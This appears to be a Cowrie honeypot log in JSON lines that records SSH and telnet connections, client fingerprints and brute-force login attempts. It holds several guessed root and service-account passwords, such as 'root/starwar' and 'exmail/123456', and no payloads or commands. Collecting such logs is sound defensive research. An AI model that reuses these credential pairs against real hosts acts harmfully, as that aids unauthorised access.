{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:33.286580Z","src_ip":"103.27.238.116","session":"85273950472d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starwar","message":"login attempt [root/starwar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:34.118550Z","src_ip":"103.27.238.116","session":"85273950472d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":58020,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b24fabf94a0","protocol":"ssh","message":"New connection: 162.240.20.137:58020 (10.17.0.5:22) [session: 4b24fabf94a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:34.777669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:34.781671Z","src_ip":"162.240.20.137","session":"4b24fabf94a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:34.871193Z","src_ip":"162.240.20.137","session":"4b24fabf94a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bonk2024","message":"login attempt [root/bonk2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:35.139200Z","src_ip":"162.240.20.137","session":"4b24fabf94a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:35.400327Z","src_ip":"103.27.238.116","session":"85273950472d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:37.695909Z","src_ip":"162.240.20.137","session":"4b24fabf94a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":49098,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b9b1ad5e7ae","protocol":"ssh","message":"New connection: 221.163.5.228:49098 (159.203.135.109:22) [session: 0b9b1ad5e7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:41.065901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:41.070753Z","src_ip":"221.163.5.228","session":"0b9b1ad5e7ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:41.269528Z","src_ip":"221.163.5.228","session":"0b9b1ad5e7ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123@","message":"login attempt [root/ABCabc123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:42.102875Z","src_ip":"221.163.5.228","session":"0b9b1ad5e7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00201344490051,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:42.510274Z","src_ip":"170.64.224.25","session":"5334b0c95d87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:43.326973Z","src_ip":"221.163.5.228","session":"0b9b1ad5e7ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.29673433303833,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:44.049713Z","src_ip":"170.64.224.25","session":"1b74415c3fba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":34638,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d84d2bee5a9","protocol":"ssh","message":"New connection: 132.148.142.226:34638 (159.203.135.109:22) [session: 9d84d2bee5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:52.131122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:52.134975Z","src_ip":"132.148.142.226","session":"9d84d2bee5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:52.199717Z","src_ip":"132.148.142.226","session":"9d84d2bee5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"render","password":"render456","message":"login attempt [render/render456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:52.395800Z","src_ip":"132.148.142.226","session":"9d84d2bee5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:53.464790Z","src_ip":"132.148.142.226","session":"9d84d2bee5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.29864239692688,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:53.940844Z","src_ip":"170.64.224.25","session":"dd41f19d1638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.66062593460083,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:56.370765Z","src_ip":"170.64.224.25","session":"101d57fabdb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38712,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9026ec32dcd","protocol":"telnet","message":"New connection: 170.64.224.25:38712 (159.203.135.109:23) [session: b9026ec32dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:56.427367Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":50768,"dst_ip":"159.203.135.109","dst_port":22,"session":"49990ffab897","protocol":"ssh","message":"New connection: 143.20.185.207:50768 (159.203.135.109:22) [session: 49990ffab897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:57.680465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:57.685121Z","src_ip":"143.20.185.207","session":"49990ffab897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:57.813689Z","src_ip":"143.20.185.207","session":"49990ffab897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#8VCPU16GBAMD","message":"login attempt [root/XYZZ#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:58.192384Z","src_ip":"143.20.185.207","session":"49990ffab897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:47:59.320539Z","src_ip":"143.20.185.207","session":"49990ffab897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.38523840904236,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:48:11.707274Z","src_ip":"170.64.224.25","session":"1593a121293d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52610635757446,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:48:35.953346Z","src_ip":"170.64.224.25","session":"b9026ec32dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53426,"dst_ip":"159.203.135.109","dst_port":23,"session":"92696ae3041c","protocol":"telnet","message":"New connection: 170.64.224.25:53426 (159.203.135.109:23) [session: 92696ae3041c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:48:38.311072Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":34086,"dst_ip":"159.203.135.109","dst_port":22,"session":"524731a3ee42","protocol":"ssh","message":"New connection: 191.7.26.153:34086 (159.203.135.109:22) [session: 524731a3ee42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:01.807310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:01.813750Z","src_ip":"191.7.26.153","session":"524731a3ee42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:01.949827Z","src_ip":"191.7.26.153","session":"524731a3ee42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exmail","password":"123456","message":"login attempt [exmail/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:02.490072Z","src_ip":"191.7.26.153","session":"524731a3ee42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:03.623245Z","src_ip":"191.7.26.153","session":"524731a3ee42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":43904,"dst_ip":"10.17.0.5","dst_port":22,"session":"891d6932fdab","protocol":"ssh","message":"New connection: 166.62.89.133:43904 (10.17.0.5:22) [session: 891d6932fdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:22.502466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:22.506873Z","src_ip":"166.62.89.133","session":"891d6932fdab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:22.572917Z","src_ip":"166.62.89.133","session":"891d6932fdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cotonou_crypto","password":"cotonou123","message":"login attempt [cotonou_crypto/cotonou123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:22.770867Z","src_ip":"166.62.89.133","session":"891d6932fdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:23.838314Z","src_ip":"166.62.89.133","session":"891d6932fdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":58724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5ec8763193d","protocol":"ssh","message":"New connection: 181.218.9.86:58724 (159.203.135.109:22) [session: f5ec8763193d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:32.251577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:32.255315Z","src_ip":"181.218.9.86","session":"f5ec8763193d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:32.417658Z","src_ip":"181.218.9.86","session":"f5ec8763193d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a112233","message":"login attempt [root/a112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:33.085886Z","src_ip":"181.218.9.86","session":"f5ec8763193d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:49:34.245425Z","src_ip":"181.218.9.86","session":"f5ec8763193d","protocol":"ssh"}
